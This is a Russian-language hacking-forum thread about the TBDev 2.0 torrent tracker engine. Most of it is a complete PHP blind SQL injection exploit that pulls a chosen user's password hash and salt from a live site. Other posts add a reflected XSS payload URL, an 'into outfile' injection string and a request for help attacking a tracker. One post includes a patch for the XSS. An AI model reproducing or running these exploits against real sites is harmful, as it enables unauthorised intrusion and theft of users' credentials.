Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Трекер-движок TBDev 2.0 (https://forum.antichat.xyz/showthread.php?t=79705)

Rostov114 26.04.2009 13:34

Цитата:

Сообщение от Qwazar
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true :) Т.е. по сути проверка всегда проходит успешно.

З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. :)

:) Угу...исправил.

Rostov114 27.04.2009 01:30

:)
Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php.

Естественно перед этим происходит проверка на уязвимость обоих методов.

PHP код:

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function 
send_xpl($url$xpl$type){
    global 
$id;
    
$u=parse_url($url);
    
    switch(
$type)
    {
        case 
'takesignup':
            
$data  "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&";
            
$data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}";
            
$req  "POST ".$u['path']."takesignup.php HTTP/1.1\r\n";
        break;
        case 
'check':
            
$data "action=email&email={$xpl}";
            
$req  "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
        break;
    }

    
$req .= "Host: ".$u['host']."\r\n";
    
$req .= "Content-Length: ".strlen($data)."\r\n";
    
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$req .= "Connection: close\r\n\r\n";
    
$req .= $data;

    
$fs=fsockopen($u['host'], 80$errno$errstr30) or die("error: $errno - $errstr<br>\n");
    
fwrite($fs$req);
    while (!
feof($fs)) {
          
$res .= fread($fs8192);
    }
    
fclose($fs);
    return 
$res;
}

function 
xpl($field$condition$pos){
    global 
$id;
    
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+  users  +where+id=$id),$pos,1))$condition,'1',(select+1+un  i  on+select+2))+--+ @ukrnet.ua";
    return 
$xpl;
}

function 
cond($url$field$cond$pos$ch) {
    global 
$type;
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl($field,$cond.$ch,$pos), $type)))
        return 
1;
    else
        return 
0;

}

function 
isVulnerable($url) {
    global 
$type;
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'check')))
    {
        echo 
"File check_signup.php absents or not vulnerable.\r\n";
    }
    else
    {
        
$type 'check';
    }
    
    if(!
$type)
    {
        if(!
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'takesignup')))
        {
            die( 
"Exploit failed: Target is not vulnerable." );
        }
        else
        {
            
$type 'takesignup';
        }
    }

}

function 
getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }
}

if(
$argc<2)
{
echo 
"==================\r\n";
echo 
"Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo 
"==================\r\n";
die();
}
global 
$type;
$url=$argv[1];
$id=$argv[2];

echo 
$url.":".$id."\r\n";

isVulnerable($url);

echo 
"Trying to get passhash: ";
for(
$i=1;$i<=32;$i++){    
    
$c getChar($url"passhash"$i47103);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";

echo 
"Trying to get salt: ";
for(
$i=1;$i<=20;$i++){    
    
$c getChar($url"secret"$i);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";


?>

= ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.

Rostov114 06.05.2009 01:06

Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
Код:

http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.

1ce666 06.05.2009 22:35

И лучше закрыть эту шнягу :D

Цитата:

Сообщение от n-sw-bit
BugFix:

файл include/init.php

Заменить
PHP код:

$url explode('/'$_SERVER['PHP_SELF']); 

на
PHP код:

$url explode('/'$_SERVER['SCRIPT_NAME']); 

или на
PHP код:

$url explode('/'htmlspecialchars_uni($_SERVER['PHP_SELF'])); 


(c) n-sw-bit

wildshaman 12.05.2009 19:45

Цитата:

Сообщение от Rostov114
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
Код:

http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.


это ПАССИВНАЯ XSS

злойдядька 30.05.2009 13:30

Цитата:

Сообщение от Rostov114
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar....

НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51

Rostov114 02.06.2009 01:27

Цитата:

Сообщение от злойдядька
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51

Ты это..прочитай получше это сообщение...ты думаеш почему я сплоит под эту багу писал основываясь на споите Qwazar...а т.к. файлик то не запишеш...ты вначале читай..а потом обсирай...

yurets 08.06.2009 10:08

Извините я в этом деле новичок но есть у нас в локальном пользовании трекер у которого вроде бы как движок TBDev 2.0, почему вроде бы потомучто у него в низу сайта есть такая натпись
http://waper.ru/file/905247/Безымянный.JPG
Вывести отчет об ошибке я так и не смог, перечитал кучу статей про SQL-inj и единственное что смог вывести так это страницу с странным текстом типа:
"То, что вы хотите, нету.",
"URL неправильный.",
"Я даже попробовал поглядеть рядом.",
"Нет ничего похожего.",
"А случайно не перепутали с [бЮЬЮ ЯЯШКЙЮ]",.............
Помогите что мне дальше с этим делать?

Qwazar 08.06.2009 11:22

yurets, скорее всего файл requests.php в этой сборке удалили, и правильно сделали. Попробуй поискать другие уязвимости.

HAXTA4OK 18.06.2009 23:30

вот что то нашел..))))зацени))что то у меня он не прошел

http://127.0.0.1/treker/testip.php?ip=1'

кажется что ето не SQL-inj

P.S.но все равно решил выложить....

P.S.S уже на сонную голову пишу..мб есть такой пост


Код:

if ($_SERVER["REQUEST_METHOD"] == "POST")
        $ip = $_POST["ip"];
else
        $ip = $_GET["ip"];
if ($ip)
{
        $nip = ip2long($ip);
        if ($nip == -1)
          stderr($tracker_lang['error'], "Bad IP.");
        $res = sql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE__, __LINE__);
        if (mysql_num_rows($res) == 0)
          stderr("Результат", "IP адрес <b>$ip</b> не забанен.");
        else
        {
          $banstable = "<table class=main border=0 cellspacing=0 cellpadding=5>\n" .
            "<tr><td class=colhead>Первый</td><td class=colhead>Последний</td><td class=colhead>Комментарий</td></tr>\n";
          while ($arr = mysql_fetch_assoc($res))
          {
            $first = long2ip($arr["first"]);
            $last = long2ip($arr["last"]);
            $comment = htmlspecialchars($arr["comment"]);
            $banstable .= "<tr><td>$first</td><td>$last</td><td>$comment</td></tr>\n";
          }
          $banstable .= "</table>\n";
          stderr("Результат", "<table border=0 cellspacing=0 cellpadding=0><tr><td class=embedded style='padding-right: 5px'><img src=pic/smilies/excl.gif></td><td class=embedded>IP адрес <b>$ip</b> забанен:</td></tr></table><p>$banstable</p>");
        }
}
stdhead("Проверка IP");

BpoDE POST


Время: 00:07